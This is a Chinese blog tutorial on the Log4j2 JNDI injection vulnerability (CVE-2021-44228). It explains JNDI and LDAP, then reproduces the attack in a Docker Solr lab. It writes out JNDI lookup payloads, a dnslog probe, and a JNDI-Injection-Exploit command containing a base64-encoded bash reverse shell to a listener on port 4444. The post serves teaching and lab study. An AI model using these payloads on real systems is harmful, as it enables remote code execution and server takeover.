当前位置: 首页 > news >正文

JAVA安全之Log4j-Jndi注入原理以及利用方式

什么是JNDI?

JDNI(Java Naming and Directory Interface)是Java命名和目录接口,它提供了统一的访问命名和目录服务的API。

JDNI主要通过JNDI SPI(Service Provider Interface)规范来实现,该规范定义了对JNDI提供者应实现的接口。在JNDI体系中,JNDI提供者是指实际提供命名和目录服务的软件组件。JNDI SPI规范包含了多个接口,其中最为重要的是Context接口。

Context接口是一个通用的上下文接口,它定义了在某个环境中执行命名和目录操作的方法。在JNDI中,上下文环境通常是由JNDI提供者所定义的,它可以是本地的、远程的、文件系统的、LDAP的等等。

通过使用JDNI,Java应用程序可以访问各种不同类型的命名和目录服务,如文件系统、LDAP、DNS等。这样,Java应用程序能够轻松地与各种不同类型的资源进行交互,而无需关心底层的细节实现。

JNDI目前所支持的技术包括?

JNDI(Java Naming and Directory Interface)是一个通用的命名和目录服务接口,可以与多种技术进行集成。以下是一些目前JNDI所支持的技术:

  1. 文件系统:JNDI可以与文件系统集成,允许通过文件路径来访问和管理命名和目录信息。

  2. LDAP(轻量级目录访问协议):JNDI提供了对LDAP服务器的支持,可用于访问和管理LDAP目录,如Active Directory等。

  3. DNS(域名系统):JNDI可以与DNS集成,使Java应用程序能够通过域名访问和管理命名和目录信息。

  4. RMI(远程方法调用):JNDI可以与RMI集成,允许使用RMI注册表来查找和访问远程对象。

  5. CORBA(公共对象请求代理体系结构):JNDI提供了与CORBA命名服务的集成,以便访问和管理CORBA对象。

  6. EJB(企业JavaBean):JNDI可以与EJB容器集成,用于查找和获取远程EJB对象的引用。

  7. JMS(Java消息服务):JNDI可以与JMS集成,允许查找和访问JMS连接工厂、队列和主题等消息相关的资源。

需要注意的是,JNDI可以通过自定义扩展来支持其他类型的命名和目录服务,只要相应的JNDI提供者实现了所需的SPI接口。因此,JNDI的支持范围可以通过自定义扩展进行扩展和定制。

简单来说:通过JNDI提供了"通过名称找到对应的对象"的规范定义

参考文章【精选】Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识_ove-2021-44228_程序员Daddy的博客-CSDN博客文章浏览阅读6.9k次,点赞3次,收藏23次。本文将和大家一起对Log4j2的漏洞进行全面深入的剖析。我们将从如下几个方面进行讲解。1、Log4j2漏洞的基本原理 2、Log4j2漏洞在Java高低版本中的不同攻击原理 3、Log4j2漏洞在Java高低版本中的攻击步骤 4、Log4j2漏洞在2.15.0-RC1中被绕过的原因 5、Log4j2最终修复方案(2.15.0)的原理_ove-2021-44228https://blog.csdn.net/hilaryfrank/article/details/121920264

LDAN原理

目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。

LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。

目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。

LDAP目录服务是由目录数据库和一套访问协议组成的系统

Log4j2漏洞介绍

Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端获取对应的Class文件,使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

javaCopy Codeimport org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
​
public class Log4jExample {// 获取Logger对象,参数为当前类名private static final Logger logger = LogManager.getLogger(Log4jExample.class);
​public static void main(String[] args) {// 示例日志输出logger.trace("Trace 级别日志");logger.debug("Debug 级别日志");logger.info("Info 级别日志");logger.warn("Warn 级别日志");logger.error("Error 级别日志");logger.fatal("Fatal 级别日志");}
}

${}这是一个表达式,我们可以利用表达是输出用户信息,当前时间等。

重要的是运用表达式我们就可以使用jndi协议了,例如${jndi:ldap://localhost:9999/Test} ,利用jndi请求地址为//localhost:9999的ldap服务,查找内容Test。

你怎么说//localhost:9999是一个ladp的服务呢!也许人家就是一个普通的地址呢!没错这里客户端也没法判定,也是在请求完之后判定的,这里输入dns的地址会解析吗?会,可以利用这个特点打下dnslog请求,初步确定漏洞。  

关于漏洞理解

(笔者之见)

JNDI是一个集大成者(多种技术进行集成体),

其中LDAP为目录服务,利用万物皆对象的观点,这里万物皆目录,或许是你的数据库,一个java对象,接口,或windows的c盘,注册表这些在ldap中都可能只是一个普通的目录。作为用户我们只需输入对应的目录名LDAP服务端便可返回响应结果。

假设我们用ldap服务查找某个对象。服务端返回什么?应该返回该对象对应的类吧!—— 这里就牵扯到了java对象的传输,对象的传输是java中非常会引发漏洞的地方、真实情况是服务端会返回类或类的地址,这时客服端怎么处理?加载类?目的是得到对象,所以本地类加载,通过反射,构造器的方法得到响应对象?

攻击原理图

整个攻击原理和流程如下图所示

注意looup这个方法,这个是请求ldap服务的入口。

请求ldap的参数可控意味着请求的ldap的服务器也可控,作为攻击者我们可以伪造一个ldap服务器。

这时是不是返回的内容也可控了,如果返回正常的字符串,log4j是不是就正常打印处理了。但如果我们返回的是一个恶意类的地址,作为发起请求的客户端收到这个地址会如何处理呢?也许就是触发了这个机制(开发人员没有想过这样的恶意类加载),客户端得到类的地址试图得到这个类(下载到本地)进行对象化。这样就必然会执行攻击者在类中提前设置的恶意代码。

Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件,如果根据类名,提供类对应的Class文件。这里是请求下载了恶意的.class文件

具体的源码流程分析,还是推荐看以下大佬的万字文章,真的很详细

【精选】Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理_log4j2漏洞-CSDN博客

 Log4j2漏洞复现

启用docker靶场环境

 访问web页面

漏洞地址:/solr/admin/cores?action=

payload准备

${jndi:ldap://id4cba.dnslog.cn}

 

查看dnslog平台是否正确解析

payload准备中间在插入表达式

${jndi:ldap://${sys:java.version}.id4cba.dnslog.cn}

获取反弹shell

漏洞利用需要用到ldap服务器,这里我们还是用工具一把梭哈。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxOC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.218.1"

准备的执行命令是bash -i >& /dev/tcp/192.168.218.1/4444 0>&1,仍然用base编码的方式执行

ok将ldap输入过去,同时nc监听本地端口4444

${jndi:ldap://192.168.218.1:1389/jq0hse}

查看反弹shell信息

正确返回了shell

总结

大佬画的原理图很经典,建立多看看。也建议用maven建立工程,多调试调试验证验证自己的猜想。

 

相关文章:

JAVA安全之Log4j-Jndi注入原理以及利用方式

什么是JNDI? JDNI(Java Naming and Directory Interface)是Java命名和目录接口,它提供了统一的访问命名和目录服务的API。 JDNI主要通过JNDI SPI(Service Provider Interface)规范来实现,该规…...

Spring源码系列-框架中的设计模式

简单工厂 实现方式: BeanFactory。Spring中的BeanFactory就是简单工厂模式的体现,根据传入一个唯一的标识来获得Bean对象,但是否是在传入参数后创建还是传入参数前创建这个要根据具体情况来定。 实质: 由一个工厂…...

数据的读取和保存-MATLAB

1 序言 在进行数据处理时,经常需要写代码对保存在文件中的数据进行读取→处理→保存的操作,流程图如下: 笔者每次在进行上述操作时,都需要百度如何“选中目标文件”以及如何“将处理好的数据保存到目标文件中”,对这一…...

C++ 输入、输出和整数运算

【问题描述】 编写一个程序,读入两个整数,计算并输出他们的和、积、商和余数。 【输入形式】 程序运行到输入时,不要显示输入提示信息。 输入为两个整数(在问题描述中记作A和B,程序中请自定变量名),A和B使…...

Element Plus 解决组件显示英文问题

要解决Element Plus日历组件显示英文的问题,可以使用Element Plus提供的国际化功能,切换成中文语言。下面是一个简单的示例: 首先,在main.ts或者你的入口文件中引入Element Plus的中文语言包和Vue I18n: import { cr…...

sqlite3.NotSupportedError: deterministic=True requires SQLite 3.8.3 or higher

问题描述 sqlite3.NotSupportedError: deterministicTrue requires SQLite 3.8.3 or higher 解决方法 A kind of solution is changing the database from sqlite3 to pysqlite3. After acticate the virtualenv, install pysqlite. pip3 install pysqlite3 pip3 install …...

单线程介绍、ECMAScript介绍、操作系统Windows、Linux 和 macOS

目录 单线程介绍ECMAScript介绍操作系统Windows、Linux 和 macOS 👍 点赞,你的认可是我创作的动力! ⭐️ 收藏,你的青睐是我努力的方向! ✏️ 评论,你的意见是我进步的财富! 单线程介绍 单线…...

【Docker】iptables基本原理

在当今数字化时代,网络安全问题变得越来越重要。为了保护我们的网络免受恶意攻击和未经授权的访问,我们需要使用一些工具来加强网络的安全性。其中,iptables是一个强大而受欢迎的防火墙工具,它可以帮助我们控制网络流量并保护网络…...

微服务架构——笔记(3)Eureka

微服务架构——笔记(3) 基于分布式的微服务架构 本次笔记为 此次项目的记录,便于整理思路,仅供参考,笔者也将会让程序更加完善 内容包括:1.支付模块、2.消费者订单模块、支付微服务入驻Eureka、Eureka集群…...

网络编程套接字(2)——简单的TCP网络程序

文章目录 一.简单的TCP网络程序1.服务端创建套接字2.服务端绑定3.服务端监听4.服务端获取连接5.服务端处理请求6.客户端创建套接字7.客户端连接服务器8.客户端发起请求9.服务器测试10.单执行流服务器的弊端 二.多进程版的TCP网络程序1.捕捉SIGCHLD信号2.让孙子进程提供服务 三.…...

MySQL数据库的简单的面试题

1、MySQL有哪些锁机制 MySQL有以下几种机制: 行级锁:行极锁在mysql 中最常用的锁机制,它只针对表的某一行进行加锁不受影响。MySQL的行级锁分为共享锁和排他锁两种类型,共享锁和排它锁不能同时存在于一行。 表级锁:表…...

hbuilderx打包应用上传到app store构建版本的教程

简介: 将ipa上架app store的过程中,发现需要将打包的ipa文件上传到app store的构建版本里,但是苹果官方推荐的上传工具,只有xcode和transporter等工具,这些工具是不能安装在windows电脑的。那么有没有windows电脑的上传…...

第五届泰迪杯数据分析技能赛B题源码图片分享

需要B题源码以及第六届带队”指导“请私信本人,团队包含技能赛双一等,数学建模省一,泰迪杯挖掘国一,研究生队友。 去年一等作品可视化图如下,私信获取源码...

【小白专用】VSCode下载和安装与配置PHP开发环境(详细版) 23.11.08

1. 下载VSCode2. 解决VSCode下载速度特别慢3. 安装VSCode 一、VSCode介绍 VSCode 是一款由微软开发且跨平台的免费源代码编辑器;该软件支持语法高亮、代码自动补全、代码重构、查看定义功能,并且内置了命令行工具和 Git 版本控制系统。 二、官方下载地址…...

Qlik Sense : Fetching data with Qlik Web Connectors

目录 Connecting to data sources Opening a connector Connecting to a data source Authenticating the connector Defining table parameters Using standard mode or legacy mode Standard mode Connector overview Using multi-line input parameters to fetch da…...

聊一聊 tcp/ip 在.NET故障分析的重要性

一:背景 1. 讲故事 这段时间分析了几个和网络故障有关的.NET程序之后,真的越来越体会到计算机基础课的重要,比如 计算机网络 课,如果没有对 tcpip协议 的深刻理解,解决这些问题真的很难,因为你只能在高层做…...

利用梯度上升可视化卷积核:基于torch实现

利用梯度上升可视化卷积核 文章目录 前言基本原理版本和包结果展示 简单绘图修改源码绘图方法一 方法二(推荐) 报错解决总结 前言 基于梯度上升的可视化是一种常用的技术,用于理解卷积神经网络(CNN)中的卷积核是如何对…...

python+playwright 学习-85 启动参数 proxy 设置代理几种方式

前言 在使用playwright执行代码的时候,如需设置代理,可以在启动的时候加proxy 参数设置代理。 本篇总结下可以加proxy代理的几种方式。 launch 启动全局代理 launch 启动的时候设置全局代理,以下是示例 from playwright.sync_api import Playwright, sync_playwrightwit…...

Clion 搭建Qt projects

Qt projects Qt is a cross-platform C framework for creating GUI applications. Qt uses its own build system, qmake, and also supports building with CMake starting from the version Qt4. Qt是一款创建桌面程序的跨平台的C框架。qmake是Qt自有的构建系统&#xff0…...

合肥工业大学数据库实验报告

✅作者简介:CSDN内容合伙人、信息安全专业在校大学生🏆 🔥系列专栏 :hfut实验课设 📃新人博主 :欢迎点赞收藏关注,会回访! 💬舞台再大,你不上台,永远是个观众。平台再好,你不参与,永远是局外人。能力再大,你不行动,只能看别人成功!没有人会关心你付出过多少…...

后进先出(LIFO)详解

LIFO 是 Last In, First Out 的缩写,中文译为后进先出。这是一种数据结构的工作原则,类似于一摞盘子或一叠书本: 最后放进去的元素最先出来 -想象往筒状容器里放盘子: (1)你放进的最后一个盘子&#xff08…...

Flask RESTful 示例

目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题: 下面创建一个简单的Flask RESTful API示例。首先,我们需要创建环境,安装必要的依赖,然后…...

Keil 中设置 STM32 Flash 和 RAM 地址详解

文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...

零基础设计模式——行为型模式 - 责任链模式

第四部分:行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 欢迎来到行为型模式的学习!行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 核心思想:使多个对象都有机会处…...

python执行测试用例,allure报乱码且未成功生成报告

allure执行测试用例时显示乱码:‘allure’ �����ڲ����ⲿ���Ҳ���ǿ�&am…...

《C++ 模板》

目录 函数模板 类模板 非类型模板参数 模板特化 函数模板特化 类模板的特化 模板,就像一个模具,里面可以将不同类型的材料做成一个形状,其分为函数模板和类模板。 函数模板 函数模板可以简化函数重载的代码。格式:templa…...

Netty从入门到进阶(二)

二、Netty入门 1. 概述 1.1 Netty是什么 Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. Netty是一个异步的、基于事件驱动的网络应用框架,用于…...

MacOS下Homebrew国内镜像加速指南(2025最新国内镜像加速)

macos brew国内镜像加速方法 brew install 加速formula.jws.json下载慢加速 🍺 最新版brew安装慢到怀疑人生?别怕,教你轻松起飞! 最近Homebrew更新至最新版,每次执行 brew 命令时都会自动从官方地址 https://formulae.…...

脑机新手指南(七):OpenBCI_GUI:从环境搭建到数据可视化(上)

一、OpenBCI_GUI 项目概述 (一)项目背景与目标 OpenBCI 是一个开源的脑电信号采集硬件平台,其配套的 OpenBCI_GUI 则是专为该硬件设计的图形化界面工具。对于研究人员、开发者和学生而言,首次接触 OpenBCI 设备时,往…...

从零手写Java版本的LSM Tree (一):LSM Tree 概述

🔥 推荐一个高质量的Java LSM Tree开源项目! https://github.com/brianxiadong/java-lsm-tree java-lsm-tree 是一个从零实现的Log-Structured Merge Tree,专为高并发写入场景设计。 核心亮点: ⚡ 极致性能:写入速度超…...